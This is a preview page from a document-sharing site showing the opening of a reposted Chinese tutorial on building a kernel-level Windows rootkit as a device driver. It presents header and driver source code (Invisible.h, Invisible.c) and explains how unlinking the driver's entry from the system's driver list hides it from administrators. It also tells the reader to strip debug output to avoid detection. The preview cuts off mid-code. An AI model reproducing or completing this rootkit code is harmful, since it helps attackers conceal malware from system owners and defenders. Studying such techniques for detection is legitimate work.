Rootkit隐形技术教程

Rootkit隐形技术教程

ID:38333940

大小:86.00 KB

页数:18页

时间:2019-06-10

Rootkit隐形技术教程_第1页
Rootkit隐形技术教程_第2页
Rootkit隐形技术教程_第3页
Rootkit隐形技术教程_第4页
Rootkit隐形技术教程_第5页
资源描述:

《Rootkit隐形技术教程》由会员上传分享,免费在线阅读,更多相关内容在教育资源-天天文库

1、Rootkit隐形技术教程 作者:佚名  来源:转载  版权:原作者  发布时间:2008-8-2411:50:34 共阅读257次 【字体:小大】  一、综述本文将引领读者打造一个初级的内核级Rootkit,然后为其引入两种简单的隐形技术:进程隐形技术和文件隐形技术。同时,为了让读者获得rootkit编程的相关经验,我们顺便介绍了rootkit的装载、卸载方法,以及必不可少的测试技术。本文介绍的Rootkit的主要构件是一个设备驱动程序,所以我们首先了解一下我们的第一个rootkit。二、rootkit主体本节引入

2、一个简单的rootkit实例,它实际上只给出了rootkit的主体框架,换句话说,就是一个设备驱动程序。那么为什么要用设备驱动程序作为主体呢?很明显,因为在系统中,设备驱动程序和操作系统一样,都是程序中的特权阶级——它们运行于Ring0,有权访问系统中的所有代码和数据。还有一点需要说明的是,因为本例主要目的在于介绍rootkit是如何隐形的,所以并没有实现后门之类的具体功能,。我们将以源代码的形式说明rootkit,对着重介绍一些重要的数据结构和函数。下面,先给出我们用到的第一个文件,它是一个头文件,名为Invisi

3、ble.h,具体如下所示://Invisible.h:我们rootkit的头文件#ifndef_INVISIBLE_H_#define_INVISIBLE_H_typedefBOOLEANBOOL;typedefunsignedlongDWORD;typedefDWORD*PDWORD;typedefunsignedlongULONG;typedefunsignedshortWORD;typedefunsignedcharBYTE;typedefstruct_DRIVER_DATA{ LIST_ENTRYlistEn

4、try; DWORD unknown1; DWORD unknown2; DWORD unknown3; DWORD unknown4; DWORD unknown5; DWORD unknown6; DWORD unknown7; UNICODE_STRINGpath; UNICODE_STRINGname;}DRIVER_DATA;#endif 我们知道,应用软件只要简单引用几个文件如stdio.h和windows.h,就能囊括大量的定义。但这种做法到了驱动程序这里就行不通了,原因大致有二条,一是驱动程序体积一般

5、较为紧凑,二是驱动程序用途较为专一,用到的数据类型较少。因此,我们这里给出了一个头文件Invisible.h,其中定义了一些供我们的rootkit之用的数据类型。这里定义的类型中,有一个数据类型要提一下:双字类型,它实际上是一个无符号长整型。此外,DRIVER_DATA是Windows操作系统未公开的一个数据结构,其中含有分别指向设备驱动程序目录中上一个和下一个设备驱动程序的指针。而我们这里开发的rootkit恰好就是作为设备驱动程序来实现,所以,只要从设备驱动程序目录中将我们的rootkit(即驱动程序)所对应的目

6、录项去掉,系统管理程序就看不到它了,从而实现了隐形。上面介绍了rootkit的头文件,现在开始介绍rootkit的主体部分,它实际就是一个基本的设备驱动程序,具体代码如下面的Invisible.c所示://Invisible#include"ntddk.h"#include"Invisible.h"#include"fileManager.h"#include"configManager.h"//全局变量ULONGmajorVersion;ULONGminorVersion;//当进行freebuild时,将其注释掉

7、,以防被检测到VOIDOnUnload(INPDRIVER_OBJECTpDriverObject){ DbgPrint("comint16:OnUnloadcalled.");}NTSTATUSDriverEntry(INPDRIVER_OBJECTpDriverObject,INPUNICODE_STRINGtheRegistryPath){ DRIVER_DATA*driverData; //取得操作系统的版本 PsGetVersion(&majorVersion,&minorVersion,NULL,NULL

8、); //Major=4:WindowsNT4.0,WindowsMe,Windows98或Windows95 //Major=5:WindowsServer2003,WindowsXP或Windows2000 //Minor=0:Windows2000,WindowsNT4.0或Windows95 //Minor=1:WindowsXP //

当前文档最多预览五页,下载文档查看全文

此文档下载收益归作者所有

当前文档最多预览五页,下载文档查看全文
温馨提示:
1. 部分包含数学公式或PPT动画的文件,查看预览时可能会显示错乱或异常,文件下载后无此问题,请放心下载。
2. 本文档由用户上传,版权归属用户,天天文库负责整理代发布。如果您对本文档版权有争议请及时联系客服。
3. 下载前请仔细阅读文档内容,确认文档内容符合您的需求后进行下载,若出现内容与标题不符可向本站投诉处理。
4. 下载文档时可能由于网络波动等原因无法下载或下载错误,付费完成后未能成功下载的用户请联系客服处理。